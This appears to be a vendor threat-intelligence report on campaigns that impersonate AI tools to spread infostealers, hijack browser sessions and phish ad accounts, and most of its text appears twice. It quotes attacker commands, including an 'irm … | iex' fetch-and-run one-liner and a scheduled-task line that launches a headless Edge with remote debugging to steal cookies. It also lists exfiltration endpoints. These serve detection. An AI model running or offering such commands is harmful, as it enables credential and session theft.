A
ANY.RUN
Guest
ANY.RUN researchers tracked fake AI tool campaigns that impersonate Claude, ChatGPT, GitHub Copilot, Gemini, and other AI brands to plant infostealers, take over browser sessions, and phish business accounts. Between April 15 and October 5, 2026, 1,258 public sandbox analyses were tied to these campaigns, and the USA was the second-largest source of submissions after India.
The attacks share one trait: the employee performs the decisive step. They paste an “install command,” run a convincing installer, or sign in to a fake window. That can put source code, cloud and AI API keys, active business sessions, ad accounts, and billing access at risk, turning a single user action into potential data exposure, account compromise, financial loss, or disruption to development and marketing operations.
Below, we break down five attack patterns, the numbers behind them, and the signals SOC teams can hunt for.
Fake AI campaigns are effective because they blend into normal employee behavior. Searching for a new AI app, following setup instructions, opening a shared chat, or connecting a business account can all look routine, which gives attackers room to move past traditional email-focused defenses.
What makes these campaigns especially relevant for organizations is the type of access they can reach. Developers may expose source code, cloud credentials, or API keys, while marketing and business teams can hold access to advertising, billing, and other high-value accounts.
These campaigns can expose far more than a single employee account. If successful, they can lead to unauthorized access to business systems, loss of sensitive data and credentials, disruption to development or marketing operations, and direct financial exposure through compromised cloud, advertising, or billing accounts.
Strengthen Threat Response
Between April 15 and October 5, 2026, we linked 1,258 public sandbox analyses to fake AI campaigns.
Activity peaked in May and has not dropped below 100 analyses a month since
Activity peaked in May 2026 with 358 analyses. The fake CLI installers and the ChatGPT-themed chains drove that peak, and the volume has stayed between 108 and 151 analyses a month since July.
Two brands account for four in five fake AI sessions
Nearly half of the sessions come from lures that ask the victim to paste a command
Campaigns that make the victim paste a command account for 561 analyses (45%): fake CLI install pages (InstallFix, 341) and fake download pages with ClickFix (220). Chains that start on a shared AI chat or artifact add 320 more, and many of them also end in a pasted command, so 45% is a lower bound.
The US is the second-largest source of submissions overall and ranks first in two major campaign groups
The country split comes from research carried out with Threat Intelligence Lookup, which records the submitter’s country for each public analysis. Across seven queries on the campaigns’ key domains, US submitters account for 69 of 422 country records (16%), behind India with 86 (20%). In the fake “Download Claude” campaign, the US ranks first with 21 of 92 records, and in the ChatGPT-themed chains it ranks first with 18 of 86.
Every chain we analyzed has the same skeleton: a lure in search results or email, a copy of a familiar page on trusted hosting, and one step that the employee performs. What changes from campaign to campaign is that step and what it unlocks.
In every fake AI chain, the employee performs the key step
The sections below follow the five patterns that carried most of the activity.
AI coding tools install with one line of PowerShell or shell, and that habit is the lure. The fake pages copy the install documentation of Claude Code, GitHub Copilot CLI, OpenAI Codex, Ollama, and OpenClaw, and swap the vendor’s domain in the one-liner for the attacker’s. A developer who copies the command runs the attacker’s script with their own permissions.
View sandbox session with the fake Copilot CLI page
The page looks like the Copilot CLI landing page, but the one-liner pulls a script from the attacker’s domain
Victims reach these pages from ordinary searches. In one session, a Bing search for “claude code docs” listed claudecode[.]us[.]com as a “Claude Code Installation Guide”, a few lines from the official documentation. Other sessions arrived from Google organic results and from typosquatted redirectors such as claubecode[.]co[.]com and openclow[.]co[.]com.
View sandbox session with the search result
A .us.com lookalike ranks next to the official Claude Code documentation
The first-stage script calls a second one-liner, irm refract3[.]com | iex, which pulls further stages from kafeprog7[.]com or help.xenngypt[.]com and then a stealer from a GitHub release. The fake Ollama variant goes one step further. It downloads and installs the real OllamaSetup.exe, so the developer gets a working tool while the stealer runs alongside it. The last full chain we observed ran on September 16, 2026.
View sandbox session with the full chain
We counted 341 analyses across six brands, peaking in May and June 2026. The lure domains rotated, but the shape of the command did not: irm <domain>/install… | iex started from a browser session, pointing at a domain that is not the vendor’s.
Reduce Business Impact
This campaign clones the Claude download page and has been active since April 2026. We found its landing pages on a Webflow site (cladesktop-apps[.]com), on GitLab Pages, on Cloudflare Pages, and on playcode.io, with variants for DeepSeek and NotebookLM. In 37 of its 220 analyses, the session started with a click on a Google ad.
When the visitor clicks “Download for Windows”, the page copies a command to the clipboard and shows step-by-step instructions: press Win+R, open PowerShell, paste, and press Enter.
View sandbox session with the fake download page
The “installer” is a command the victim pastes into PowerShell
mshta.exe fetches an HTA from the attacker’s server. The HTA assembles the word “powershell” from pieces to slip past simple string matching, then runs an encoded PowerShell stage. In the sessions where the chain ran to the end, the sandbox flagged stealer activity. No file reaches the browser’s download folder, and every process in the chain is a built-in Windows binary. Other landing pages of the same campaign show the same flow:
The landing hosts changed many times, but the HTA host last-version.install-2026[.]com stayed the same from April to September. A related page on claudedev[.]net uses a fake Cloudflare check instead. Its PowerShell stage leads to a loader chain likely belonging to HijackLoader: sandbox sessions that share its download host trigger HijackLoader command-and-control detections.
View sandbox session with the fake Cloudflare check
Fake CloudFlare check analyzed inside ANY.RUN sandbox
Some operators skip lookalike domains altogether and publish the lure on the AI platform itself. A shared conversation, a custom GPT, or a published artifact lives on the vendor’s domain, which no company blocks.
One session opened a published claude.ai artifact from a Google ad; the URL carries Google Ads click parameters. The artifact poses as “Download Claude | Claude by Anthropic”, while the platform’s own banner marks it as user-generated. Its “Install on macOS” instructions tell the visitor to paste a curl command into Terminal.
View sandbox session with the claude.ai artifact
The artifact sits on claude.ai, under a banner that says the content is user-generated and unverified
The base64 string decodes to a /curl/<hex> URL on paripassuventures[.]com. Sessions that requested that host between August 24 and September 3, 2026, received a payload detected as MacSync Stealer, in 8 of the 12 analyses. Shared Claude and Perplexity conversations promoted the same way lead to the same /curl/<64 hex characters> path on other compromised sites.
View sandbox session with the shared Claude conversation
The most recent ChatGPT-themed chains, from September 2026, start from shared chats and custom GPTs. In one session, a Google ad led to a shared chat on chatgpt.com with a single message: “We are experiencing high traffic now. Continue on our backup domain,” followed by a link to openai-backup[.]one. ChatGPT warned that the link led to an external site, but the domain name made the detour look like part of the service.
View sandbox session with the shared ChatGPT chat
The lure is a shared chat on chatgpt.com that points to a “backup domain”
The “backup domain” shows a fake Cloudflare check and then a “Human Verification” box with three steps: Win+R, Ctrl+V, Enter. Its /api.php requests carry an operator key, and the same key appears in a chain that starts from a custom GPT and passes through a Google Sites page. In a session from that chain, pasting the command silently installed an MSI package:
View sandbox session with the custom GPT chain
We counted 320 analyses in chains that start on a shared AI chat or artifact or touch their infrastructure, 17 of them straight from an ad click. The durable markers are the /curl/<64 hex characters> download path, the sites.google.com/view/antibot<digits> pages, the operator key in /api.php?k= requests, and curl one-liners that decode their own URL from base64.
This pattern does not ask for a command. The lure site claude-ai[.]us serves a saved copy of the Claude download page, and its button downloads Claude_x64-setup.exe from a GitHub release. In the sandbox session, a window titled “ClaudeCode” asked for a click on “Setup”. After the click, the genuine Claude installer, downloaded from Anthropic’s own servers, ran in the foreground.
This window comes from the stager, not from Anthropic; the real installer follows as a decoy
Behind the decoy, the stager registers a scheduled task that starts Microsoft Edge without a window, with remote debugging on and a fake updater user agent:
schtasks.exe /create /tn “mseupdate” /tr “\”C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe\” –remote-debugging-port=9222 –headless –user-agent=\”Google Update 4.3\” –disable-gpu –no-sandbox https://microsoft.com/” /sc onlogon /rl highest
The headless browser then posts data to nucleflowers[.]xyz: cookies (/api2.php?method=sendcookjson), extension data (sendexts), and a third set labeled sendkeys. With those cookies, the attacker can open the victim’s web sessions without a password or MFA prompt.
View sandbox session with the trojanized installer
ANY.RUN’s sandbox session with trojanized installer
The lure site left its directory listing open, which exposed the kit’s file names: claude_win.html, claude_mac.html, and stats-claude-collector.php, the endpoint that records each visit. At the moment of the download click, the page also registers the visitor with the stager’s server through /api4.php?method=auth&key=<key>&ist=claude. The same registration call, with its own key and brand label, appears behind other “AI” apps, such as a fake AI budgeting tool on budgetforge[.]ai that served its installer from a different GitHub account in April 2026.
View sandbox session with the budgeting-tool lure
The kit’s paths (/stats-claude-collector.php, /api4.php?method=auth, /api2.php with sendcookjson) and the mseupdate task with the “Google Update 4.3” user agent outlived the domain. That makes them better hunting keys than claude-ai[.]us itself.
Speed Up Threat Response
The fifth pattern targets marketers, not developers. Landing pages invite the visitor to “Run ads on Claude”, to “Connect your Google Ads account with Gemini”, or to join Perplexity Ads or a Manus beta. The pages carry mailto:unsubscribe@ links, which suggests delivery by email. Clicking “Connect” opens a browser-in-the-browser (BiTB) pop-up: a fake window, drawn inside the page, that imitates the Google sign-in screen and its address bar.
The Google sign-in window, address bar included, is drawn inside the fake Claude Ads page
Before showing the pop-up, the page geolocates the visitor through public IP services. It then registers the visit with a backend on Railway or Render and keeps a live socket.io channel open to the operator. The backend paths are the same for every brand:
We counted 57 analyses across four brands between July 21 and September 18, 2026. The domains change with each brand (claude-advertisement[.]com, gemini-beta-invitations[.]com, perplexity-beta-ads[.]com, beta-manus[.]com), while the API paths stay the same, so they are the hunting key.
We also counted 220 analyses of suspicious or malicious files named after AI products: “Claude Setup.exe”, “ChatGPT Installer.exe”, “Codex Installer.exe”, “GeminiSetup.exe”, “copilot_lite.exe”, and “Sora2.apk”. Examples:
View sandbox session with the fake claude-code.exe
claude-code.exe displayed inside ANY.RUN sandbox
The lures pick their audience by role:
Threat Intelligence Lookup also shows the industry of the organization that submitted each analysis. We used that data to see which industries appeared across the campaign queries.
The table below shows how many of the seven campaign queries included submissions from each industry, both globally and among US submitters. These figures show how widely an industry appears across the campaigns, not the number or share of victims.
The list is led by sectors with large developer and knowledge-worker populations. Among US submitters, consulting stands out in the fake Claude Code installers, education in the ChatGPT-themed chains, and manufacturing across the CLI lures.
Reducing exposure to fake AI campaigns requires both stronger control over how employees access AI software and better visibility when suspicious activity reaches an endpoint. The goal is to limit risky user actions, detect malicious behavior earlier, and give SOC teams enough context to respond before access spreads.
Every pattern in this research starts with an employee looking for an AI tool on their own. Publish a short list of approved AI tools with their official sources (vendor site, winget, Homebrew, or the vendor’s package) and install them through MDM or the software portal. Then a search result has less reason to become the employee’s first stop.
In IBM’s 2026 Cost of a Data Breach study, shadow AI incidents more than doubled, from 20% to 43% of security incidents. Only about a third of organizations strictly approve AI tools before deployment, according to HIPAA Journal.
Assign one owner for AI tool requests and give that person a budget for licenses, so teams can get approved software faster than they can find a “free download.” Review the approved list regularly, as the kits in this report already imitate newer names such as OpenClaw and Manus alongside Claude and ChatGPT.
InstallFix and ClickFix depend on users being able to open a shell and execute copied commands. Restrict mshta.exe, wscript.exe, and unsigned PowerShell for standard users with AppLocker, WDAC, and attack surface reduction rules.
Train employees to verify install commands against the vendor’s official documentation rather than copying them from search results, ads, shared chats, or unfamiliar download pages.
Interactive Sandbox helps SOC teams see what a suspicious installer, pasted command, or fake AI lure actually does after execution. Analysts can confirm malicious behavior, understand the full attack chain, and make containment decisions with more context.
View sandbox session with the Claude Ads lure
Claude ads lure analyzed inside ANY.RUN sandbox
Teams using ANY.RUN report 21 minutes less MTTR per incident, 20% less Tier 1 investigation time, and 30% fewer Tier 1-to-Tier 2 escalations, helping SOCs move from investigation to response faster.
Threat Intelligence Lookup helps analysts move beyond one suspicious domain, URL, or file hash and uncover related infrastructure, sandbox activity, and campaign artifacts.
It gives security teams access to intelligence built from activity across 16,000+ organizations and 700,000+ security professionals worldwide, helping them connect individual indicators to broader malicious activity and investigate threats with more context.
Check out the following TI Lookup queries for fuller context and deeper investigations:
TI Lookup query to get a full context into fake AI campaigns targeting USA
Teams using ANY.RUN report up to 36% higher detection rates, helping SOCs identify more threats and prioritize response with greater confidence.
Threat Intelligence Feeds deliver fresh malicious domains, IPs, URLs, hashes, and other indicators into existing SIEM, SOAR, and detection workflows. This helps organizations maintain coverage as attackers rotate infrastructure and reduces the manual effort required to keep detections current.
TI Feeds provides fresh and trustworthy IOCS to existing security stack
For security teams handling large volumes of alerts, continuously updated threat intelligence can help surface known malicious activity earlier and support faster triage across existing security systems.
Scale SOC Performance
Fake AI tools turn trusted software brands into an attack path that depends on a single user action. Across the activity analyzed, attackers repeatedly used familiar AI names, trusted platforms, and convincing install or sign-in flows to reach developer environments, active sessions, and business accounts.
The strongest detection opportunities are behavioral. Domains changed frequently, while command patterns, staging paths, backend APIs, and post-execution activity remained more consistent. The US also stood out, ranking first in both the fake “Download Claude” campaign and the ChatGPT-themed chains, and second overall across all fake AI activity analyzed.
For organizations, the priority is to reduce the time between suspicious activity and a confident response. ANY.RUN supports that workflow by helping teams analyze behavior, connect indicators to wider campaign activity, and bring fresh intelligence into existing security controls.
That can translate into faster investigations, fewer unnecessary escalations, and earlier containment before compromised access turns into wider business impact.
ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74% of the Fortune 100.
Its Interactive Sandbox, Threat Intelligence Lookup, and Threat Intelligence Feeds work together as one investigation and response workflow.
Security teams can analyze suspicious files, URLs, and behavior in the Interactive Sandbox, pivot from discovered indicators to related infrastructure and campaign activity in TI Lookup, and then bring fresh threat intelligence into existing SIEM, SOAR, EDR, and other security systems through TI Feeds.
This gives SOC teams a continuous path from initial analysis to deeper investigation and broader detection, helping them respond faster and contain malicious activity before it creates wider business impact.
Highest-value indicators (they outlived the domains):
Files:
Network:
Host-based:
The attacks share one trait: the employee performs the decisive step. They paste an “install command,” run a convincing installer, or sign in to a fake window. That can put source code, cloud and AI API keys, active business sessions, ad accounts, and billing access at risk, turning a single user action into potential data exposure, account compromise, financial loss, or disruption to development and marketing operations.
Below, we break down five attack patterns, the numbers behind them, and the signals SOC teams can hunt for.
Key Takeaways
- Fake AI is a sustained campaign theme, not a one-off. We linked 1,258 public sandbox analyses to fake-AI campaigns between April 15 and October 5, 2026, with more than 100 analyses every month from April to September, keeping employee and SOC exposure consistently high.
- Claude and ChatGPT are the brands attackers wear most. Together they account for 81% of those analyses: Claude 601 (48%) and OpenAI ChatGPT and Codex 418 (33%), making widely adopted AI brands a recurring path into corporate environments.
- American organizations are squarely in scope. The US ranks first for both the fake “Download Claude” campaign and the ChatGPT-themed chains. Across all fake AI activity analyzed, US submitters account for 69 of 422 country records in Threat Intelligence Lookup, or 16%, ranking second overall after India.
- The victim runs the attack. At least 45% of the analyses belong to campaigns that tell the user to paste a command into the Run dialog, PowerShell, or Terminal, turning routine user actions into an execution path that can bypass traditional controls.
- Trusted platforms carry the lures. We saw lures on GitHub, GitLab Pages, Cloudflare Pages, Google Sites, claude.ai, and chatgpt.com, promoted through Google Ads and search results, making simple domain blocking less effective.
Fake AI Threat Overview
Fake AI campaigns are effective because they blend into normal employee behavior. Searching for a new AI app, following setup instructions, opening a shared chat, or connecting a business account can all look routine, which gives attackers room to move past traditional email-focused defenses.
What makes these campaigns especially relevant for organizations is the type of access they can reach. Developers may expose source code, cloud credentials, or API keys, while marketing and business teams can hold access to advertising, billing, and other high-value accounts.
| Attribute | Details |
|---|---|
| Observed period | April 15–October 5, 2026 |
| Activity analyzed | 1,258 public sandbox analyses linked to fake AI-themed activity |
| Most impersonated brands | Claude, ChatGPT, Codex, GitHub Copilot, Gemini, Ollama, OpenClaw, Perplexity, and Manus |
| Primary delivery channels | Search results, Google Ads, shared AI chats and artifacts, fake download pages, and email invitations |
| Main user actions | Pasting commands into PowerShell or Terminal, running installers, or entering credentials into fake sign-in windows |
| Observed outcomes | Infostealer and RAT delivery, browser-session theft, credential phishing, and business-account compromise |
| Common techniques | ClickFix-style execution, malicious PowerShell and curl commands, mshta abuse, trojanized installers, and browser-in-the-browser phishing |
| Most exposed roles | Developers, marketing teams, and employees independently searching for or installing AI software |
| US activity | The US accounted for 16% of recorded submitter-country data, ranking second overall and first in several major campaign groups |
| Key detection angle | Commands, backend paths, scheduled tasks, and other behavioral patterns remained more stable than the frequently rotating lure domains |
Business Risks for American Organizations
These campaigns can expose far more than a single employee account. If successful, they can lead to unauthorized access to business systems, loss of sensitive data and credentials, disruption to development or marketing operations, and direct financial exposure through compromised cloud, advertising, or billing accounts.
- Session theft without a password: The trojanized installer exports browser cookies through a headless browser, which can give attackers access to email, CRM, and cloud consoles without a new MFA prompt.
- Developer workstation compromise: InstallFix runs the attacker’s script in a developer’s shell, where source code, SSH keys, CI/CD tokens, and cloud and AI API keys may already be accessible.
- Ad and business account takeover: Fake AI advertising invitations collect Google account credentials from employees who manage ad budgets and billing, putting high-value business accounts at risk.
- Reduced visibility for defenders: These chains often begin in search results, use built-in binaries, and let the server choose the next stage, leaving mail gateways and file scanners with less to inspect.
- Shadow AI exposure: Employees searching for and installing AI software outside the approved catalog make it harder for IT and security teams to distinguish legitimate software from convincing counterfeits.
Strengthen Threat Response
Fake AI Attacks by the Numbers
Between April 15 and October 5, 2026, we linked 1,258 public sandbox analyses to fake AI campaigns.
Activity peaked in May 2026 with 358 analyses. The fake CLI installers and the ChatGPT-themed chains drove that peak, and the volume has stayed between 108 and 151 analyses a month since July.
Campaigns that make the victim paste a command account for 561 analyses (45%): fake CLI install pages (InstallFix, 341) and fake download pages with ClickFix (220). Chains that start on a shared AI chat or artifact add 320 more, and many of them also end in a pasted command, so 45% is a lower bound.
The country split comes from research carried out with Threat Intelligence Lookup, which records the submitter’s country for each public analysis. Across seven queries on the campaigns’ key domains, US submitters account for 69 of 422 country records (16%), behind India with 86 (20%). In the fake “Download Claude” campaign, the US ranks first with 21 of 92 records, and in the ChatGPT-themed chains it ranks first with 18 of 86.
How Fake AI Attacks Work
Every chain we analyzed has the same skeleton: a lure in search results or email, a copy of a familiar page on trusted hosting, and one step that the employee performs. What changes from campaign to campaign is that step and what it unlocks.
- Lure: A sponsored search result, an SEO-poisoned result, a shared AI conversation, or an invitation email.
- Fake page: A copy of the vendor’s download page or documentation, hosted on a platform that security filters are more likely to trust, such as GitLab Pages, Cloudflare Pages, Google Sites, GitHub, or the AI platform itself.
- Employee action: The user pastes a command into the Run dialog, PowerShell, or Terminal; runs an installer; or signs in through a pop-up that imitates Google.
- Loader: A built-in Windows binary, such as mshta.exe or powershell.exe, or a small stager contacts the attacker’s server to retrieve the next stage.
- Payload: An infostealer, session-cookie stealer, or remote access trojan. In the sign-in branch, credentials are sent directly to the operator.
The sections below follow the five patterns that carried most of the activity.
InstallFix: When the Install Command Is the Malware
AI coding tools install with one line of PowerShell or shell, and that habit is the lure. The fake pages copy the install documentation of Claude Code, GitHub Copilot CLI, OpenAI Codex, Ollama, and OpenClaw, and swap the vendor’s domain in the one-liner for the attacker’s. A developer who copies the command runs the attacker’s script with their own permissions.
View sandbox session with the fake Copilot CLI page
Victims reach these pages from ordinary searches. In one session, a Bing search for “claude code docs” listed claudecode[.]us[.]com as a “Claude Code Installation Guide”, a few lines from the official documentation. Other sessions arrived from Google organic results and from typosquatted redirectors such as claubecode[.]co[.]com and openclow[.]co[.]com.
View sandbox session with the search result
The first-stage script calls a second one-liner, irm refract3[.]com | iex, which pulls further stages from kafeprog7[.]com or help.xenngypt[.]com and then a stealer from a GitHub release. The fake Ollama variant goes one step further. It downloads and installs the real OllamaSetup.exe, so the developer gets a working tool while the stealer runs alongside it. The last full chain we observed ran on September 16, 2026.
View sandbox session with the full chain
We counted 341 analyses across six brands, peaking in May and June 2026. The lure domains rotated, but the shape of the command did not: irm <domain>/install… | iex started from a browser session, pointing at a domain that is not the vendor’s.
Reduce Business Impact
The Download Page That Asks for PowerShell: Fake “Download Claude” with ClickFix
This campaign clones the Claude download page and has been active since April 2026. We found its landing pages on a Webflow site (cladesktop-apps[.]com), on GitLab Pages, on Cloudflare Pages, and on playcode.io, with variants for DeepSeek and NotebookLM. In 37 of its 220 analyses, the session started with a click on a Google ad.
When the visitor clicks “Download for Windows”, the page copies a command to the clipboard and shows step-by-step instructions: press Win+R, open PowerShell, paste, and press Enter.
View sandbox session with the fake download page
mshta.exe fetches an HTA from the attacker’s server. The HTA assembles the word “powershell” from pieces to slip past simple string matching, then runs an encoded PowerShell stage. In the sessions where the chain ran to the end, the sandbox flagged stealer activity. No file reaches the browser’s download folder, and every process in the chain is a built-in Windows binary. Other landing pages of the same campaign show the same flow:
- GitLab Pages copy opened from a Google ad: View sandbox session with the GitLab Pages copy
- NotebookLM-branded variant: View sandbox session with the NotebookLM variant
The landing hosts changed many times, but the HTA host last-version.install-2026[.]com stayed the same from April to September. A related page on claudedev[.]net uses a fake Cloudflare check instead. Its PowerShell stage leads to a loader chain likely belonging to HijackLoader: sandbox sessions that share its download host trigger HijackLoader command-and-control detections.
View sandbox session with the fake Cloudflare check
When the Lure Lives on claude.ai or chatgpt.com
Some operators skip lookalike domains altogether and publish the lure on the AI platform itself. A shared conversation, a custom GPT, or a published artifact lives on the vendor’s domain, which no company blocks.
One session opened a published claude.ai artifact from a Google ad; the URL carries Google Ads click parameters. The artifact poses as “Download Claude | Claude by Anthropic”, while the platform’s own banner marks it as user-generated. Its “Install on macOS” instructions tell the visitor to paste a curl command into Terminal.
View sandbox session with the claude.ai artifact
The base64 string decodes to a /curl/<hex> URL on paripassuventures[.]com. Sessions that requested that host between August 24 and September 3, 2026, received a payload detected as MacSync Stealer, in 8 of the 12 analyses. Shared Claude and Perplexity conversations promoted the same way lead to the same /curl/<64 hex characters> path on other compromised sites.
View sandbox session with the shared Claude conversation
The most recent ChatGPT-themed chains, from September 2026, start from shared chats and custom GPTs. In one session, a Google ad led to a shared chat on chatgpt.com with a single message: “We are experiencing high traffic now. Continue on our backup domain,” followed by a link to openai-backup[.]one. ChatGPT warned that the link led to an external site, but the domain name made the detour look like part of the service.
View sandbox session with the shared ChatGPT chat
The “backup domain” shows a fake Cloudflare check and then a “Human Verification” box with three steps: Win+R, Ctrl+V, Enter. Its /api.php requests carry an operator key, and the same key appears in a chain that starts from a custom GPT and passes through a Google Sites page. In a session from that chain, pasting the command silently installed an MSI package:
View sandbox session with the custom GPT chain
We counted 320 analyses in chains that start on a shared AI chat or artifact or touch their infrastructure, 17 of them straight from an ad click. The durable markers are the /curl/<64 hex characters> download path, the sites.google.com/view/antibot<digits> pages, the operator key in /api.php?k= requests, and curl one-liners that decode their own URL from base64.
A Real Claude Installer and a Stolen Session
This pattern does not ask for a command. The lure site claude-ai[.]us serves a saved copy of the Claude download page, and its button downloads Claude_x64-setup.exe from a GitHub release. In the sandbox session, a window titled “ClaudeCode” asked for a click on “Setup”. After the click, the genuine Claude installer, downloaded from Anthropic’s own servers, ran in the foreground.
Behind the decoy, the stager registers a scheduled task that starts Microsoft Edge without a window, with remote debugging on and a fake updater user agent:
schtasks.exe /create /tn “mseupdate” /tr “\”C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe\” –remote-debugging-port=9222 –headless –user-agent=\”Google Update 4.3\” –disable-gpu –no-sandbox https://microsoft.com/” /sc onlogon /rl highest
The headless browser then posts data to nucleflowers[.]xyz: cookies (/api2.php?method=sendcookjson), extension data (sendexts), and a third set labeled sendkeys. With those cookies, the attacker can open the victim’s web sessions without a password or MFA prompt.
View sandbox session with the trojanized installer
The lure site left its directory listing open, which exposed the kit’s file names: claude_win.html, claude_mac.html, and stats-claude-collector.php, the endpoint that records each visit. At the moment of the download click, the page also registers the visitor with the stager’s server through /api4.php?method=auth&key=<key>&ist=claude. The same registration call, with its own key and brand label, appears behind other “AI” apps, such as a fake AI budgeting tool on budgetforge[.]ai that served its installer from a different GitHub account in April 2026.
View sandbox session with the budgeting-tool lure
The kit’s paths (/stats-claude-collector.php, /api4.php?method=auth, /api2.php with sendcookjson) and the mseupdate task with the “Google Update 4.3” user agent outlived the domain. That makes them better hunting keys than claude-ai[.]us itself.
Speed Up Threat Response
“Run Ads on Claude”: Fake AI Ads Invitations Target Marketing Teams
The fifth pattern targets marketers, not developers. Landing pages invite the visitor to “Run ads on Claude”, to “Connect your Google Ads account with Gemini”, or to join Perplexity Ads or a Manus beta. The pages carry mailto:unsubscribe@ links, which suggests delivery by email. Clicking “Connect” opens a browser-in-the-browser (BiTB) pop-up: a fake window, drawn inside the page, that imitates the Google sign-in screen and its address bar.
- View sandbox session with the Claude Ads lure
- View sandbox session with the Gemini Ads lure
- View sandbox session with the Manus lure
Before showing the pop-up, the page geolocates the visitor through public IP services. It then registers the visit with a backend on Railway or Render and keeps a live socket.io channel open to the operator. The backend paths are the same for every brand:
| Request | Purpose (inferred from the name and payload) |
|---|---|
| POST /api/create/user | Registers the visitor |
| POST /api/send/ip | Sends the visitor's IP, device type, and ISP |
| GET /api/checkBan/ | Likely checks whether the visitor is blocked |
| GET /api/checkDone/ | Likely polls whether the operator has finished with the session |
We counted 57 analyses across four brands between July 21 and September 18, 2026. The domains change with each brand (claude-advertisement[.]com, gemini-beta-invitations[.]com, perplexity-beta-ads[.]com, beta-manus[.]com), while the API paths stay the same, so they are the hunting key.
Also Seen: Malware Named After AI Products
We also counted 220 analyses of suspicious or malicious files named after AI products: “Claude Setup.exe”, “ChatGPT Installer.exe”, “Codex Installer.exe”, “GeminiSetup.exe”, “copilot_lite.exe”, and “Sora2.apk”. Examples:
- a fake claude-code.exe that turned out to be Aura Stealer, which checked in and exfiltrated data to sys-tools[.]cfd;
- files named after Copilot that carried AsyncRAT (8 analyses);
- a grok.exe that carried Quasar RAT.
View sandbox session with the fake claude-code.exe
Which Organizations Are Seeing Fake AI Activity
The lures pick their audience by role:
- Developers: fake CLI installers for Claude Code, Copilot CLI, Codex, and Ollama.
- Marketing teams: fake ads programs for Claude, Gemini, and Perplexity.
- Everyone else: fake desktop apps and AI chats for anyone who searches for an AI app.
Threat Intelligence Lookup also shows the industry of the organization that submitted each analysis. We used that data to see which industries appeared across the campaign queries.
The table below shows how many of the seven campaign queries included submissions from each industry, both globally and among US submitters. These figures show how widely an industry appears across the campaigns, not the number or share of victims.
| Industry | All countries: queries (of 7) | US submitters: queries (of 4) |
|---|---|---|
| Technology | 7 | 2 |
| Telecommunications | 6 | 3 |
| Education | 5 | 1 |
| Consulting | 5 | 1 |
| Manufacturing | 4 | 3 |
| Healthcare | 4 | 1 |
| Government | 4 | 1 |
| Finance and banking | 4 | 1 |
The list is led by sectors with large developer and knowledge-worker populations. Among US submitters, consulting stands out in the fake Claude Code installers, education in the ChatGPT-themed chains, and manufacturing across the CLI lures.
How Organizations Can Reduce the Risk
Reducing exposure to fake AI campaigns requires both stronger control over how employees access AI software and better visibility when suspicious activity reaches an endpoint. The goal is to limit risky user actions, detect malicious behavior earlier, and give SOC teams enough context to respond before access spreads.
Make the Approved AI Catalog the Easiest Path
Every pattern in this research starts with an employee looking for an AI tool on their own. Publish a short list of approved AI tools with their official sources (vendor site, winget, Homebrew, or the vendor’s package) and install them through MDM or the software portal. Then a search result has less reason to become the employee’s first stop.
Give AI Tools an Owner and a Budget
In IBM’s 2026 Cost of a Data Breach study, shadow AI incidents more than doubled, from 20% to 43% of security incidents. Only about a third of organizations strictly approve AI tools before deployment, according to HIPAA Journal.
Assign one owner for AI tool requests and give that person a budget for licenses, so teams can get approved software faster than they can find a “free download.” Review the approved list regularly, as the kits in this report already imitate newer names such as OpenClaw and Manus alongside Claude and ChatGPT.
Take Paste-and-Run Away from Standard Users
InstallFix and ClickFix depend on users being able to open a shell and execute copied commands. Restrict mshta.exe, wscript.exe, and unsigned PowerShell for standard users with AppLocker, WDAC, and attack surface reduction rules.
Train employees to verify install commands against the vendor’s official documentation rather than copying them from search results, ads, shared chats, or unfamiliar download pages.
Add Behavioral Evidence to Threat Triage
Interactive Sandbox helps SOC teams see what a suspicious installer, pasted command, or fake AI lure actually does after execution. Analysts can confirm malicious behavior, understand the full attack chain, and make containment decisions with more context.
View sandbox session with the Claude Ads lure
Teams using ANY.RUN report 21 minutes less MTTR per incident, 20% less Tier 1 investigation time, and 30% fewer Tier 1-to-Tier 2 escalations, helping SOCs move from investigation to response faster.
Expand a Single Indicator into Campaign Context
Threat Intelligence Lookup helps analysts move beyond one suspicious domain, URL, or file hash and uncover related infrastructure, sandbox activity, and campaign artifacts.
It gives security teams access to intelligence built from activity across 16,000+ organizations and 700,000+ security professionals worldwide, helping them connect individual indicators to broader malicious activity and investigate threats with more context.
Check out the following TI Lookup queries for fuller context and deeper investigations:
- Domains that start with “claude” but are not claude.ai or claude.com
- Claude- and ChatGPT-named sites on GitLab Pages and Cloudflare Pages
- Suricata messages for “AI-themed”
Teams using ANY.RUN report up to 36% higher detection rates, helping SOCs identify more threats and prioritize response with greater confidence.
Keep Detection Current as Infrastructure Changes
Threat Intelligence Feeds deliver fresh malicious domains, IPs, URLs, hashes, and other indicators into existing SIEM, SOAR, and detection workflows. This helps organizations maintain coverage as attackers rotate infrastructure and reduces the manual effort required to keep detections current.
For security teams handling large volumes of alerts, continuously updated threat intelligence can help surface known malicious activity earlier and support faster triage across existing security systems.
Scale SOC Performance
Conclusion
Fake AI tools turn trusted software brands into an attack path that depends on a single user action. Across the activity analyzed, attackers repeatedly used familiar AI names, trusted platforms, and convincing install or sign-in flows to reach developer environments, active sessions, and business accounts.
The strongest detection opportunities are behavioral. Domains changed frequently, while command patterns, staging paths, backend APIs, and post-execution activity remained more consistent. The US also stood out, ranking first in both the fake “Download Claude” campaign and the ChatGPT-themed chains, and second overall across all fake AI activity analyzed.
For organizations, the priority is to reduce the time between suspicious activity and a confident response. ANY.RUN supports that workflow by helping teams analyze behavior, connect indicators to wider campaign activity, and bring fresh intelligence into existing security controls.
That can translate into faster investigations, fewer unnecessary escalations, and earlier containment before compromised access turns into wider business impact.
About ANY.RUN
ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74% of the Fortune 100.
Its Interactive Sandbox, Threat Intelligence Lookup, and Threat Intelligence Feeds work together as one investigation and response workflow.
Security teams can analyze suspicious files, URLs, and behavior in the Interactive Sandbox, pivot from discovered indicators to related infrastructure and campaign activity in TI Lookup, and then bring fresh threat intelligence into existing SIEM, SOAR, EDR, and other security systems through TI Feeds.
This gives SOC teams a continuous path from initial analysis to deeper investigation and broader detection, helping them respond faster and contain malicious activity before it creates wider business impact.
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Evidence |
|---|---|---|---|
